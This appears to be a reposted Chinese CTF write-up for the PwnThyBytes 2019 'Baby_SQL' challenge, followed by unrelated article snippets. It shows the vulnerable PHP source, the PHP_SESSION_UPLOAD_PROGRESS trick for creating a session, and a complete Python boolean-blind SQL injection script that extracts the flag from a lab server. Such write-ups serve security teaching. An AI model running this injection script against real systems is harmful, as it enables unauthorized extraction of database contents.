[PwnThyBytes 2019]Baby_SQL - 代码审计+布尔盲注+SESSION_UPLOAD_PROGRESS利用

news2024/9/28 15:18:49

[PwnThyBytes 2019]Baby_SQL

  • 1 解题流程
    • 1.1 分析
    • 1.2 解题
  • 2 思考总结

1

1 解题流程

1.1 分析

此题参考文章:浅谈 SESSION_UPLOAD_PROGRESS 的利用

  1. 访问正常来讲用ctf-wscan是能扫出source.zip文件的,且F12后提示了有source.zip,那我们就下载source.zip
    index.php
    	<?php
    	session_start();
    	foreach ($_SESSION as $key => $value): $_SESSION[$key] = filter($value); endforeach;
    	foreach ($_GET as $key => $value): $_GET[$key] = filter($value); endforeach;
    	foreach ($_POST as $key => $value): $_POST[$key] = filter($value); endforeach;
    	foreach ($_REQUEST as $key => $value): $_REQUEST[$key] = filter($value); endforeach;
    	
    	function filter($value){
    	    !is_string($value) AND die("Hacking attempt!");
    	    return addslashes($value);
    	}
    	
    	isset($_GET['p']) AND $_GET['p'] === "register" AND $_SERVER['REQUEST_METHOD'] === 'POST' AND isset($_POST['username']) AND isset($_POST['password']) AND @include('templates/register.php');
    	isset($_GET['p']) AND $_GET['p'] === "login" AND $_SERVER['REQUEST_METHOD'] === 'GET' AND isset($_GET['username']) AND isset($_GET['password']) AND @include('templates/login.php');
    	isset($_GET['p']) AND $_GET['p'] === "home" AND @include('templates/home.php');
    	?>
    
    login.php
    <?php
    	!isset($_SESSION) AND die("Direct access on this script is not allowed!");
    	include 'db.php';
    	
    	$sql = 'SELECT `username`,`password` FROM `ptbctf`.`ptbctf` where `username`="' . $_GET['username'] . '" and password="' . md5($_GET['password']) . '";';
    	$result = $con->query($sql);
    	
    	function auth($user){
    	    $_SESSION['username'] = $user;
    	    return True;
    	}
    	
    	($result->num_rows > 0 AND $row = $result->fetch_assoc() AND $con->close() AND auth($row['username']) AND die('<meta http-equiv="refresh" content="0; url=?p=home" />')) OR ($con->close() AND die('Try again!'));
    ?>
    
    register.php
    <?php
    	!isset($_SESSION) AND die("Direct access on this script is not allowed!");
    	include 'db.php';
    	
    	(preg_match('/(a|d|m|i|n)/', strtolower($_POST['username'])) OR strlen($_POST['username']) < 6 OR strlen($_POST['username']) > 10 OR !ctype_alnum($_POST['username'])) AND $con->close() AND die("Not allowed!");
    	
    	$sql = 'INSERT INTO `ptbctf`.`ptbctf` (`username`, `password`) VALUES ("' . $_POST['username'] . '","' . md5($_POST['password']) . '")';
    	($con->query($sql) === TRUE AND $con->close() AND die("The user was created successfully!")) OR ($con->close() AND die("Error!"));
    ?>
    
  2. 简单的分析一下:
    1、index.php中,开启了session,我们通过任何方式的传参都会经过过滤函数
      过滤函数:参数值必须是字符串,其次是通过addslashes函数过滤
    2、login.php,存在sql语句,并写了数据库是ptbctf,密码通过MD5的形式校验
    3、register.php,用户名不允许是admin,且长度要6<=length<=10
    4、看到addslashes函数让我想到了sprintf格式化漏洞和宽字节漏洞,但由于没有sprintf所以第一个情况排除,我自己尝试了第二个情况发现也不行。所以我们考虑其他方法
    5、在主页进行login会被过滤,那么我们直接去templates/login.php呢?没错,这里我们能直接注入,但是最关键的就是一旦没有session,就不让正常访问该php
      所以这里就涉及到了 SESSION_UPLOAD_PROGRESS
      我们可以利用PHP_SESSION_UPLOAD_PROGRESS在目标服务器上初始化一个session,然后便可以绕过index.php中的检测
  3. session是如何生成的?PHP_SESSION_UPLOAD_PROGRESS怎么利用?【下面简单讲,开头引用的文章是很详细的】
    假设我们通过配置文件分析:
    1、已知session文件存储在session.save_path
    2、session.upload_progress.enabled 选项开启时,同时POST一个session.upload_progress.name同名变量,PHP检测到时,Session文件将会自动创建,我们访问网站就会附带sessoin值,以此绕过login.php的session校验

1.2 解题

脚本如下:

import io
import requests

url = 'http://node4.anna.nssctf.cn:28440/templates/login.php'
flag = ''

f = io.BytesIO(b'a' * 1024 * 50)
file = {"file": ('q.txt', f)}

for i in range(1,250):
   low = 32
   high = 128
   mid = (low+high)//2
   while(low<high):
       #payload = "test\" or (ascii(substr((select database()),%d,1))>%d)#" %(i,mid)
       #payload = "test\" or (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1))>%d)#" %(i,mid)
       #payload = "test\" or (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='flag_tbl'),%d,1))>%d)#" %(i,mid)
       payload = "test\" or (ascii(substr((select secret from flag_tbl),%d,1))>%d)#" %(i,mid)
       data = {"PHP_SESSION_UPLOAD_PROGRESS": "473"}
       cookie = {"PHPSESSID": "whoami"}
       params = {
           "username": payload,
           "password": "123456"
       }
       res = requests.post(url=url, params=params, data=data, files=file, cookies=cookie)
       #print(res.text)
       if 'meta' in res.text:      # 为真时,即判断正确的时候的条件
           low = mid+1
       else:
           high = mid
       mid = (low+high)//2
   if(mid ==32 or mid ==127):
       break
   flag = flag+chr(mid)
   print(flag)

2 思考总结

哎哟不错哦~
通过此题,我对SESSION_UPLOAD_PROGRESS利用的理解更深入了。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1078166.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Apache POI使用

1.导入坐标 <!-- poi --><dependency><groupId>org.apache.poi</groupId><artifactId>poi</artifactId><version>${poi}</version></dependency><dependency><groupId>org.apache.poi</groupId><a…

elasticSearch7.9数据占用磁盘存储空间情况

最近&#xff0c;在VMware Workstation虚拟机上安装了es7.9&#xff0c;单节点的es&#xff0c;不是集群&#xff0c;然后建了一个索引&#xff08;包含3个分片和一个副本&#xff09;&#xff0c;插入了500万条数据&#xff0c;占据磁盘空间17G。如下图&#xff1a; 索引的字…

什么样的人适合下班后做点兼职副业

我们身边不乏一些讨论兼职副业的人&#xff0c;可是很多人都只停留在“想”的层面上&#xff0c;真正有执行力的人早就偷偷做起了副业&#xff0c;能力强的还做得风生水起。 什么样的人适合下班后做点副业呢&#xff1f;我觉得下班后&#xff0c;时间很宽裕&#xff0c;或者经济…

S7-1200PLC与昆仑通态触摸屏通讯

测试环境&#xff1a;Win10、MCGS、博图V16、1214DCDCDC 博途工控人平时在哪里技术交流博途工控人社群 博途工控人平时在哪里技术交流博途工控人社群 将PLC端做如下配置 1-MCGS配置S7-1200驱动 1.1-添加驱动 双击设备窗口 点击设备组态窗口下的设备管理&#xff0c;选择西门…

串级/级联控制知识点整理

串级控制系统是改善控制质量的有效方法之一&#xff0c;在过程控制中得到了广泛的应用。所谓串级控制&#xff0c;就是采用两个控制器串联工作&#xff0c;外环控制器的输出作为内环控制器的设定值&#xff0c;由内环控制器的输出去操纵控制阀&#xff0c;从而对外环被控量具有…

【力扣LCP】速算机器人

&#x1f451;专栏内容&#xff1a;力扣刷题⛪个人主页&#xff1a;子夜的星的主页&#x1f495;座右铭&#xff1a;前路未远&#xff0c;步履不停 目录 一、题目描述二、题目分析1、常规解法2、取巧解法 一、题目描述 题目链接&#xff1a;力扣LCP.14 速算机器人 小扣在秋日…

app如何新增广告位以提升广告变现收益?

app广告位资源是平台变现能力之一&#xff0c;广告位资源包括开屏广告、首页轮播广告、首页弹窗等大家熟知的广告位&#xff0c;流量主为了获得更高的收益&#xff0c;通常会考虑在应用中增加广告位。 增设新的广告位&#xff0c;流量主应该从以下几方面考虑。 1、广告类型 …

overflow真实使用场景-表格最右侧显示空白

问题 先看问题。下方滚动条滚动到右侧之后上下都有空白&#xff0c;但是缩放之后正常。分析之后是overflow的问题。 overflow作用是什么&#xff1f; overflow在内容大于元素框高度或者宽度时候设置&#xff0c;保证内容显示正常。 单独一个内容大于元素框高度或者宽度比较…

手机端下载文件时显示0B问题

文章目录 下载文件时显示文件大小如果是OutputStream输出流&#xff0c;如何设置大小扩展问题pdfjs预览pdf文件时遇到的问题 下载文件时显示文件大小 设置下载文件的大小 File filenew File("D:/test.txt");response.setHeader("Accept-Ranges","byt…

Axios 封装

请注意以下文件夹: utils下的setToken.js 是token封装(封装 Token-CSDN博客),service.js 是axios封装。 Axios封装: 1.安装axios 在项目终端下 输入: npm install axios --save 2.在main.js全局引入axios import axios from axiosVue.prototype.$axios =axios //挂…

python psutil库之——获取网络信息(网络接口信息、网络配置信息、以太网接口、ip信息、ip地址信息)

文章目录 使用Python psutil库获取网络信息安装psutil库获取网络连接信息查看所有网络连接过滤特定状态的连接 获取网络接口信息获取网络IO统计信息实例1实例2 总结 使用Python psutil库获取网络信息 Python的psutil库是一个跨平台库&#xff0c;能够方便地获取系统使用情况和…

C200/10/1/1/1/00 VPM04D300000 VDM01U30AL00

C200/10/1/1/1/00 VPM04D300000 VDM01U30AL00 受其客户对集成、远程和日益自主的运营的关注&#xff0c;横河于2022年6月6日推出了OpreX Asset Health Insights&#xff0c;以使资产数据更加可见、集成和可操作。 Asset Health Insights的原始版本支持Amazon Web Services和…

县域农牧业信息化项目建设技术解决方案(完整版本)

扫码关注下方公众号&#xff0c;免费获取项目建设方案&#xff01;↓↓↓ 文章目录 一、项目背景二、项目建设意义及目标三、建设内容&#xff08;1&#xff09;XX智慧养殖管理 SaaS 云平台&#xff08;2&#xff09;XX智慧养殖管理平台&#xff08;3&#xff09;XX投入品质量…

一款基于javafx的自有IP地址查询工具

SelfIPAdressQuery 使用场景 在攻防演习中、hvv防守方人员会封禁大量IP地址,人员疏忽会导致自有地址被封禁,可以使用此工具进行批量筛选自有地址. IP地址归属批量查询. 功能介绍 通过IP地址查询数据库中符合的自有IP地址或自有IP段,不存在的IP地址通过离线模式或联网模式查…

进阶JAVA篇-深入了解枚举与抽象枚举

目录 介绍一下枚举&#xff1a; 1.1枚举的概念 1.2具体如何来使用呢&#xff1f; 1.3对枚举小结 1.4抽象枚举概念 1.5对抽象枚举小结 介绍一下枚举&#xff1a; 1.1枚举的概念 在JAVA中&#xff0c;枚举是一种特殊的类&#xff0c;用于定义一组常量。Java中的枚举类型是通过使用…

spring IOC AOP核心思想

我的理解&#xff1a;一开始各个对象之间相互合作&#xff0c;是多个对象对应多个对象去使用&#xff0c;如果有一个对象出现问题就可能影响到全局&#xff0c;但是使用ioc就是在两者之间加入了一个中间媒介(spring bean也就是通过xml配置文件装配对象)&#xff0c;如果相互需要…

pytorch中nn.DataParallel多次使用

pytorch中nn.DataParallel多次使用 import torch import torch.nn as nn import torch.optim as optim from torch.utils.data import DataLoader# 定义模型 class MyModel(nn.Module):def __init__(self):super(MyModel, self).__init__()self.fc nn.Linear(10, 1)def forwa…

Filebeat、metricbeat、kafka

kibana机子上安装filebrat&#xff08;因为有nginx&#xff09; 上传filebrat包 在es概览查看 上传metricbeat 排错 tailf !$ Kibana-Vlsualize查看 kafka(卡夫卡) kafka是一个分布式的消息发布—订阅系统&#xff08;kafka其实是消息队列&#xff09;消息队列中间件 Kafka的…

二十、SpringCloud Alibaba Seata处理分布式事务

目录 一、分布式事务问题1、分布式之前2、分布式之后 二、Seata简介1、Seata是什么&#xff1f;2、Seata能干嘛&#xff1f;3、去拿下&#xff1f;4、怎么玩 三、Seata-server安装四、订单、库存、账户业务数据库准备五、订单、库存、账户业务微服务准备六、Seata原理介绍 一、…

查杀Linux服务器病毒进程并对Linux中的文件描述符FD进行简单探索

一直以来&#xff0c;我都十分推崇把看到的理论知识与实际相结合。 在今天查杀服务器病毒程序的过程中&#xff0c;顺便挖掘了一些新的知识&#xff0c;现在把他总结成一篇文章记录一下。 每一个进程都有一个文件描述符表(通过lsof -p 进程号)&#xff0c;文件描述表是操作系统…